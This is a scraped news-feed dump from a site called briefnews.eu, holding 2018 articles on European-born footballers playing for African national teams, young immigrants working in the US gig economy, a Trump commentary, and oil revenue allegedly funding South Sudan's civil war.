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]]> https://briefnews.eu/bernie-sanders-won-the-democratic-nomination-in-vermonts-senate-primary-but-he-turned-it-down-fueling-speculation-he-may-run-for-president-in-2020/feed/ 0 The Reverse 'Migration' Fueling Africa's Soccer Hopes https://briefnews.eu/the-reverse-migration-fueling-africas-soccer-hopes/ https://briefnews.eu/the-reverse-migration-fueling-africas-soccer-hopes/#respond Sat, 30 Jun 2018 10:08:57 +0000 http://briefnews.eu/the-reverse-migration-fueling-africas-soccer-hopes/ M’Baye Niang had come onto the field just seconds earlier, following treatment for an injury, when he saw the chance of a lifetime. Poland, seemingly unaware that Niang was back on, played the ball to their goalkeeper. Niang, born to Senegalese immigrants in north-central France, raced after the ball, tickled it past a defender and the goalkeeper and toed it into the vacant net. The commentators called the goal controversial. For Niang, though, this was redemption. And for African World Cup soccer teams, it was a moment of vindication.

Back in 2013, Senegal had called up a teenage Niang, a rising star in the European leagues, to play for the country in a match against Zambia. Niang — who had earlier indicated interest in playing for the country of his parents — refused, picking club over nation. That decision sparked criticism and newspaper columns questioning his fidelity to the Senegalese soccer cause. But the national team continued to pursue him. Niang’s goal secured a crucial World Cup win last week against a Polish side ranked eighth in the world, 19 spots above Senegal. Now 24, Niang is again on the front pages in Senegal — only this time, as a hero.

It’s a great story.

Wiebe Boer, soccer analyst and author

Niang is among a growing number of African-origin players born or naturalized in Europe who are returning to represent the countries of their parents at tournaments like the World Cup, aided by eligibility rule relaxations in 2004 and 2008 by FIFA, the sport’s governing body. When German-born Kevin-Prince Boateng represented Ghana — the country his parents emigrated from — at the 2010 World Cup, he stood out because his appeared an isolated case. In fact, it was the start of a pattern that has since expanded, despite tensions over player loyalties.

The number of foreign-naturalized players representing African teams went up from 27 at the 2010 World Cup to 30 at the 2014 World Cup. At the current World Cup in Russia, 37 players born or brought up in Europe are playing for African teams: 17 for Morocco, nine for Senegal, six for Nigeria and five for Tunisia.

“It’s a great story,” says Wiebe Boer, soccer analyst and author of A Story of Heroes and Epics: The History of Football in Nigeria (1904–1960), pointing out how traditionally, “immigrant children played for their adopted countries.”

For decades, the phenomenon of foreign-origin soccer players representing countries was restricted to flows from poorer to richer nations, or between wealthy countries. The legendary Eusébio, who starred for Portugal at the 1966 World Cup, was born in Maputo, Mozambique. France had a Black captain as early as the 1978 World Cup. The U.S. team at the 1994 World Cup had multiple German-born players — sons and grandsons of American soldiers and German mothers — some of whom couldn’t even speak English, recalls Boer. As recently as the 2006 World Cup, France’s hopes lived — and eventually died — with the performance of the Algerian-origin Zinedine Zidane.

Now, the tide is turning. According to a FIFA study in the lead-up to the World Cup, 29 percent of the national players from African teams at the Russia event are foreign-born, compared with just 9 percent for European teams, 3 percent for North and Central American sides, and 2 percent each for Asia and South America. This shift has been facilitated by FIFA rules that now allow players who represent one nation at the junior level to play for the senior team of another if either they, their parents or grandparents were born in the latter country. But the reasons run far deeper, suggests Ifreke Inyang, sports editor at Daily Post, a Nigerian newspaper.

To African national teams, these players represent a cadre of potential stars trained with the world’s best coaching and facilities and groomed in intensely competitive European leagues. For youngsters who went abroad early in search of greener pastures or were born to parents who did, playing for the country of their parents’ roots gives them a chance to connect to their heritage. Others feel more genuinely wanted in African teams than in European ones, where racial undercurrents are often not far away, argues Inyang. Boer believes some players choose the country of their parental ancestry because they know they may not make the national team of the country they were born and raised in, while others are genuinely “proud of their ancestry” and want to celebrate it. “I really think it’s a combination,” he says.

Gettyimages 981260192

The strategy doesn’t work all the time. Morocco and Tunisia have already been knocked out of the World Cup. And while French-born players in these North African teams have rarely suffered any backlash because of the strong diasporic links these countries share with France, tensions over loyalty have flared up in other nations. Nigerian-born, U.K.-raised forward Victor Moses has faced criticism for picking which matches he plays for Nigeria, even though analysts point out the practice of choosing club contests over international games is a global phenomenon. It doesn’t help Moses that he compares unfavorably with John Mikel Obi, Nigeria’s much-loved captain, who appeared for his country at the 2016 Olympics against the wishes of his Chelsea coach Antonio Conte. And Niang has had to publicly acknowledge he “made mistakes” in not playing for Senegal when he was requested to in the past.

But the two most successful African nations at the 2018 World Cup — Nigeria and Senegal — have both relied heavily on these players. Moses and Arsenal forward Alex Iwobi, who moved from Lagos to London at the age of 4, scored five of the 12 goals that helped Nigeria qualify for the World Cup. Iwobi’s strike last September helped the Super Eagles, as the team is known to its fans, seal their spot in Russia. At the heart of Nigeria’s defense is the pairing of German-born Leon Balogun and Dutch-born William Troost-Ekong. When a third defender, Russian-born Bryan Idowu, was substituted by Nigeria in their 2-0 win over Iceland last week, the man who came in was Dutch-born Tyronne Ebuehi, already earmarked at the age of 22 for greatness by Nigerian analysts.

“He is head and shoulders above any fullback I have watched play for Nigeria in recent years,” says Inyang. “His foreign football education gives him a clear edge.” It’s an edge African players long provided European sides. Now, it’s driving Africa’s soccer fortunes.

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]]> https://briefnews.eu/the-reverse-migration-fueling-africas-soccer-hopes/feed/ 0 The Immigrants Fueling the Gig Economy https://briefnews.eu/the-immigrants-fueling-the-gig-economy/ https://briefnews.eu/the-immigrants-fueling-the-gig-economy/#respond Thu, 21 Jun 2018 10:29:59 +0000 http://briefnews.eu/the-immigrants-fueling-the-gig-economy/ Editor’s Note: This article is the third in a series about how the gig economy is shaping the future of labor and what that means for workers.

Sakhr Sharafadin was making $ 8 an hour in the kitchen at a Little Caesars, during his senior year of high school, when friends started telling him about their work as Uber drivers and food deliverers for an app called Caviar. Though he’d been promoted to night manager just six months after he started at Little Caesars—the location’s youngest manager ever—the job had begun to feel like a dead end. As high-school graduation neared, he needed more money for his share of the rent, for books and tuition, and to pay for his car. When he was 15, he and his younger brother had arrived in Oakland, California, as immigrants from Yemen, leaving his mother back home in a country on the brink of war and joining his father, who worked behind the counter at a liquor store in San Leandro, California. Many of his friends were young immigrants like him, with lofty dreams for their futures. At 18 years old, Sharafadin was too young to drive for Uber (the company requires drivers to be twenty-one), but not too young for Caviar, so he downloaded the app and signed up. Driving for ride-share companies had become popular in the Yemeni community, in particular, because it didn’t require purchasing a taxi medallion, speaking advanced English, or acquiring expensive training or a degree from an American university; all Sharafadin needed to sign up for Caviar was a license, a car, a social security number, and a smartphone.

Sharafadin spoke English well himself, and had aspirations to graduate from college, but he wanted more hours, better pay, and a shorter wait to get paid. At Little Caesars, it took two weeks to receive a paycheck. “With Uber, you can get paid instantly; they just drop the money in your account right then,” he said. Who hasn’t wished, at some point or another, that he could snap his fingers and see that day’s pay appear in hand? On his first day working for Caviar, as he zig-zagged throughout the Bay Area, double-parking in front of packed restaurants, racing inside to pick up to-go bags, and dropping them off at homes, the amount he’d earned from each assignment flashed on his screen. After eight, then nine hours, he didn’t want to stop; the app was like a video game, encouraging him to keep going. From that first ride on, he worked full-time for Caviar. And as soon as he turned 21, he began driving for Lyft and Uber too, and making deliveries through Amazon Flex, while working toward his associate’s degree at Laney College, a community college in Oakland.

Sharafadin had been driving a 2000 Lexus ES, but, at the time, Uber required a 2005 model or above, and he felt he would get dinged on customer ratings with a shabby car. He bought a 2015 Toyota Camry hybrid, putting him $ 25,000 in debt. That meant he needed to work more often to pay off his car loans, so he stopped taking classes at the community college. In 2014, his left eye began bothering him, but none of the doctors he visited—all out of pocket—figured out what was wrong until at least a year in. They finally diagnosed him with late stage keratoconus, in which the cornea thins, blurring the afflicted person’s eyesight. The keratoconus was giving him double vision. He needed healthy eyes in order to drive—but fixing the problem required surgery and expensive contacts, and he had no insurance, nor any prospects of getting employer-provided insurance as a driver in the gig economy. He put nearly all of it on his credit card.

When he started driving for Uber and Lyft, Sharafadin purchased a 2015 Toyota Camry hybrid. The car put him $ 25,000 in debt. (Talia Herman)

Until the early aughts, a person working in an entry-level position at, say, Little Caesars, could have a reliable, consistent, full-time work schedule around which he could orient the rest of his life: college, sleep, childcare. But a little over a decade ago, computer-optimized scheduling systems began transforming those jobs from full-time positions to a patchwork of irregular, part-time shifts that could change from one week to the next. Workers could be paid less and receive fewer benefits, thus maximizing a company’s bottom line. Later, after the 2008 economic crash, apps like Uber, Caviar, and Airbnb became popular. In the on-demand economy, if a person found himself with a couple of hours between commitments, he could just turn on an app and make some quick cash. Freelancers—a group that includes highly paid corporate consultants, Uber drivers, and freelance journalists like me—now make up a quarter of the U.S. workforce, according to a Marketplace/Edison Research poll.

Young immigrants comprise much of the retail and service sectors. They sometimes have limited education and English skills, and face extra costs like sending money to dependents back home and paying off debts they undertook to travel to the United States; those who are undocumented often face the additional burden of not having papers authorizing them to work. While breaking into the U.S. economy as a foreigner can be difficult, the gig economy offers quick, accessible work that allows for flexible schedules and generally pays well above the minimum wage (though it does require valid immigration papers and a social security number). According to the companies, their workers are satisfied and optimistic: In a 2015 study published by Uber, 61 percent of surveyed drivers said their financial security was better after joining Uber, and 71 percent said their income increased.

When Abdi Hussein, a 30-year-old Somali refugee, first arrived in the U.S. six years ago, the International Rescue Committee helped him find work as a shelf stocker at Old Navy, and then as a security guard for a company called ProGuard, stationed in the lobby of a downtown Oakland office building. His main goal in the U.S., though, was education. He began taking classes at Laney College, but it became increasingly hard to align his class schedule with his work schedule. He started driving for Uber. Hussein, who has since transferred to California State University East Bay, now balances a 34-hour work week for Uber with a full load of classes. After expenses, and without any sick leave or other benefits, he estimates he’s making about $ 17 or $ 18 an hour on his best days, before taxes. Comparatively, that’s not so bad. Today’s San Francisco taxi drivers make an average of only $ 13.92 an hour—far lower than Hussein’s likely take-home pay, and for a job he likely wouldn’t be able to balance with his school schedule.

The short-term benefits of gig work, though, may not outweigh the long-term costs. Igor Radulovic, who has worked as a job developer at the International Rescue Committee, a refugee resettlement agency, for the past twenty years, is tasked with finding refugees work in their first months in the United States so they can become self-sufficient. His clients need to pay their bills, but Radulovic also wants to find them work that sets them up for the types of professional opportunities that, along with war and persecution, brought them to the United States in the first place. He believes that, though working at companies like Uber can be an excellent first option for newly arrived immigrants, gig jobs are a dead end for most, particularly young people with a long future in the U.S.

Gig workers are characterized as contractors—companies like Amazon and Lyft simply provide the platform through which a driver can connect with a customer—which means they aren’t entitled to benefits or other protections. In practice, though, there is implicit control over the jobs they take and the hours they work. A driver can be penalized for turning down a job, or even kicked off the platform if he does this too many times; drivers can also be suspended from the system if the market is overflowing with too many of them. Gig workers’ nebulous existence, somewhere between employees and traditional contractors, has instigated several lawsuits. An April decision in the California Supreme Court may force the state’s gig economy companies to begin treating their drivers as employees, which would make them entitled to additional employment benefits, but it could take years for any changes to take effect. Saba Waheed, the research director at the University of California, Los Angeles’s Labor Center, a left-leaning research and policy organization dedicated to labor rights, told me, “The entire risk of this employment is on the worker,” while the company reaps the profits.

The work is explicitly advertised as temporary, but, for many workers, it has a way of becoming more long-term than initially planned, with limited opportunities for advancement. If someone starts out at Chipotle, Radulovic points out, she might be making minimum wage, but she is eligible for benefits; if she works hard, in a few years she could be promoted to a management position with a decent salary and benefits. Though a driver might eventually be able to get a job in the corporate office of a company like Uber or Rinse, these require vastly different skills, and drivers are not cultivated for upward mobility (though a Caviar representative estimated that about half of the company’s office jobs are held by former drivers). “If you work as a driver for Uber,” Radulovic says,“in three years, you’re still just a driver.”

I knew Sakhr Sharafadin before all this. In 2013, he was a lanky, upbeat, and tirelessly social student at Oakland International High School, where I coordinate community programs. When I recently reconnected with him, he had turned 22 and was mired in both car and credit-card debt. Gas, insurance, oil changes, tire rotations, and new tires cost him thousands of dollars a year. When he was working for Caviar, he got a handful of tickets for double-parking his car. Plus, his $ 25,000 car is now worth only $ 10,000. “A lot of people think they make a lot of money,” he said, “but when you look at it, you end up paying for a lot of things without realizing it.” He estimates that he makes $ 10 an hour, after expenses, though the exact number is hard to pin down. He had dropped out of college so that he could work 12-hour days. For safety purposes, Uber and Lyft both limit drivers to twelve and fourteen-hour shifts respectively, but Sharafadin, like many gig workers, switched back and forth between the apps so as to extend his hours. “This is temporary until I pay whatever I owe,” Sharafadin insisted, but it wasn’t clear it would end anytime soon. Sharafadin paused and added, “Seems like it’ll be forever.”

Sharafadin wants to go back to school and move on to another career whenever he pays off all of his debt and has saved enough for another eye surgery. (Talia Herman)

The gig economy’s promise, years ago, was that it would provide more pay, flexibility, and autonomy than the unreliable part-time jobs that the retail and service sectors increasingly offered. But Waheed, of the UCLA Labor Center, sees the gig economy as simply the next generation of the computer-optimization revolution that upended the retail and service sectors a decade ago. Gig work might seem flexible, but the companies’ implicit control over workers—the way they penalize them for turning down jobs, for instance, or incentivize them to drive during certain times using surge pricing—means that gig workers, without realizing it, have just become part of a new labor-optimization game.

Abdi Hussein, the California State, East Bay student, has learned he can make the most money during morning rush hour and late nights when the bars close, when there is often surge pricing. Though he’s free to work whenever he wants, he’s incentivized to work when the demand is highest—meaning the schedule is inherently less flexible than it might seem. The late-night cash boost can come with rude drunken banter or even the occasional backseat-vomit episode. “Times like these,” Hussein said, “you think, what am I doing?” But he is sure the work is temporary, providing him good income until he graduates college and becomes a certified public accountant.

Sharafadin, too, wants to go back to school and move on to another career whenever he pays off all of his debt and has saved enough for another eye surgery, as his right eye has now begun to deteriorate from keratoconus. The good thing about the gig economy, he admits, “is that you can work as many hours as you want.” These days, he drives for Uber not because of the promise of high hourly pay, but because, combined with his other gigs, it lets him work twice as much as he would anywhere else. “You think it’s going to be a really great job, and it’s good, but it’s not as great as it sounds,” Sharafadin told me. I have often heard people say something similar about coming to the United States. Perhaps gig work is like the American dream itself: at first, full of promise, and then, rife with disappointments.

]]> https://briefnews.eu/the-immigrants-fueling-the-gig-economy/feed/ 0 Deep discounts — $12K, $13K, $16K — are fueling a pickup price war https://briefnews.eu/deep-discounts-12k-13k-16k-are-fueling-a-pickup-price-war/ https://briefnews.eu/deep-discounts-12k-13k-16k-are-fueling-a-pickup-price-war/#respond Tue, 05 Jun 2018 08:42:04 +0000 http://briefnews.eu/deep-discounts-12k-13k-16k-are-fueling-a-pickup-price-war/ Autoblog ist jetzt Teil der Oath-Familie.
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]]> https://briefnews.eu/deep-discounts-12k-13k-16k-are-fueling-a-pickup-price-war/feed/ 0 Commentator says Trump’s base is fueling his freewheeling impulses: ‘It’s like his binky, and he never wants to let go’ https://briefnews.eu/commentator-says-trumps-base-is-fueling-his-freewheeling-impulses-its-like-his-binky-and-he-never-wants-to-let-go/ https://briefnews.eu/commentator-says-trumps-base-is-fueling-his-freewheeling-impulses-its-like-his-binky-and-he-never-wants-to-let-go/#respond Tue, 03 Apr 2018 04:32:07 +0000 http://briefnews.eu/commentator-says-trumps-base-is-fueling-his-freewheeling-impulses-its-like-his-binky-and-he-never-wants-to-let-go/ MSNBC jokn heilemannScreenshot via MSNBC

  • An MSNBC commentator offered an unvarnished take on the motivations behind President Donald Trump’s freewheeling rhetoric of the past few weeks.
  • John Heilemann, a national affairs analyst for NBC News, said Monday that Trump is harking back to his base and suggested that it is the president’s go-to response when things get tough in Washington.
  • “His base matters to him — it’s like his binky, and he never wants to let go of the binky,” Heilemann said.
  • Trump in just the last week has sniped at Amazon, the media, immigrants, and the Justice Department and FBI.

President Donald Trump’s rhetoric of late has been increasingly freewheeling, as he has in recent weeks returned to the persona that defined his raucous campaign in 2016, unleashing his deepest grievances in public and on social media.

Trump most recently has sniped at Amazon, the media, immigrants, and the Justice Department and FBI. The president’s gripes come amid what has been a tumultuous few weeks for his administration:

See the rest of the story at Business Insider

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DON’T MISS: ‘You might want to give it a read’: A CNN reporter called up the First Amendment after Trump’s campaign manager scolded him for asking a question

]]> https://briefnews.eu/commentator-says-trumps-base-is-fueling-his-freewheeling-impulses-its-like-his-binky-and-he-never-wants-to-let-go/feed/ 0 Oil profits are fueling South Sudan’s civil war https://briefnews.eu/oil-profits-are-fueling-south-sudans-civil-war/ https://briefnews.eu/oil-profits-are-fueling-south-sudans-civil-war/#respond Sun, 11 Mar 2018 07:22:13 +0000 http://briefnews.eu/oil-profits-are-fueling-south-sudans-civil-war/ Just two years after it gained independence from Sudan in 2011, oil-rich South Sudan plunged into a civil war that is still raging today—a civil war that is allegedly funded by oil revenues.

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© Carlos Garcia Rawlins

Impoverished South Sudan is rich in natural resources and oil revenue is the country’s main hard currency export income—it’s not a leap to suggest that oil revenues are funding its side of the war, but one NGO is claiming that it is this very oil money that South Sudan’s leaders are using to get rich and terrorize civilians, according to documents reviewed by The Sentry, an investigative initiative co-founded by George Clooney.

“Little has been known about the financial machinery that makes South Sudan’s continuing war possible, but these documents appear to shed new light on how the country’s main revenue source—oil—is used to fuel militias and ongoing atrocities, and how a small clique continues to get richer while the majority of South Sudanese suffer or flee their homeland,” The Sentry said in the Fueling Atrocities: Oil and War in South Sudan report published on Monday.

South Sudan officials dismissed the report, with presidential spokesman Ateny Wek Ateny telling Reuters that “The oil money did not even … buy a knife. It is being used for paying the salaries of the civil servants.”

Read more on Oilprice.com: US Sets New Monthly Oil Production Record

South Sudan produces some 135,000 bpd of oil and hopes to double its oil production over the next 12 months, its Oil Minister Ezekiel Lol Gatkuoth said in December last year.

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© Raheb Homavandi

Last month, Lol Gatkuoth told the BBC that “80 percent of the country is peaceful” and that “you can even party during the night” in Juba, the capital city of South Sudan.

But according to documents reviewed by The Sentry, the picture in South Sudan is quite different. Funds from South Sudan’s state oil company Nile Petroleum Corporation (Nilepet), The Sentry claim, “helped fund militias responsible for horrific acts of violence. They also indicate that millions of dollars were paid to several companies partially owned by family members of top officials responsible for funding government-aligned militia or military commanders.”

In addition, “the documents appear to describe how the petroleum ministry provided support to these militias in the form of fuel, equipment, funds, food and supplies, and airtime for satellite phones,” The Sentry’s report said.

This article was originally published on Oilprice.com

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